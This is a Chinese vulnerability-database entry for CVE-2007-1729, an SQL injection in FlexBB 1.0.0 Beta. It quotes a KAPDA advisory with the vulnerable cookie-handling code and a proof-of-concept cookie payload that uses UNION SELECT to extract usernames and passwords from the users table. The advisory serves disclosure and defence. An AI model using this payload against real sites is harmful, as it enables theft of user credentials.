FlexBB Start.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1191185 漏洞类型 SQL注入
发布时间 2007-03-28 更新时间 2007-03-29
CVE编号 CVE-2007-1729 CNNVD-ID CNNVD-200703-656
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://cxsecurity.com/issue/WLB-2007030184
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-656
|漏洞详情
Flexbb1.0.010005BetaRelease1的includes/start.php中存在SQL注入漏洞。远程攻击者可以借助提交到index的phflexbb_lang_idCOOKIE参数,执行任意的SQL指令。
|漏洞EXP

KAPDA New advisory
Vendor: http://www.flexbb.net
Vulnerable Version: 1.0.0 10005 Beta Release 1
Bug: SQL Injection
Exploitation: Remote with browser

Description:
--------------------
Flexbb is a  freely available PHP-based message board
program that uses a MySQL database.

Vulnerability:
--------------------
Sql Injection:
The software does not properly validate user-supplied
input that may allow a remote user to launch Sql
injection attacks.
There are multiple Input Validation errors, for
example:
// Code Snippet
// Includes/Start.php
// Lines #190-197
if($_COOKIE['flexbb_lang_id'] == "")
{
	$lang_id = $config['default_lang_id'];
}
else
{
	$lang_id = $_COOKIE['flexbb_lang_id'];  //--->Input
Validation Error
}

POC:
--------------------
Condition: Magic quotes GPC = Off
GET: http://example.com/flexbb/index.php?debug=1
Cookie Name =  flexbb_lang_id
Cookie Value =  none' UNION SELECT 'en',`username`,
`password`,1,1 FROM `flexbb_users` WHERE `group` = '4

original Advisory:
--------------------
http://www.kapda.ir/advisory-481.html

Solution:
--------------------
No response from vendor, there is no solution at the
time of this entry.

Credit :
--------------------
Discovered & released by trueend5 (trueend5 kapda ir)
Security Science Researchers Institute Of Iran
[http://www.KAPDA.ir]

________________________________________________________________________
____________
TV dinner still cooling? 
Check out "Tonight's Picks" on Yahoo! TV.
http://tv.yahoo.com/
|参考资料

来源:BUGTRAQ
名称:20070327[KAPDA::#64]-FlexbbSqlInjection
链接:http://www.securityfocus.com/archive/1/archive/1/463917/100/0/threaded
来源:MISC
链接:http://www.kapda.ir/advisory-481.html
来源:XF
名称:flexbb-index-sql-injection(33250)
链接:http://xforce.iss.net/xforce/xfdb/33250
来源:BID
名称:23161
链接:http://www.securityfocus.com/bid/23161
来源:VUPEN
名称:ADV-2007-1141
链接:http://www.frsirt.com/english/advisories/2007/1141
来源:SREASON
名称:2486
链接:http://securityreason.com/securityalert/2486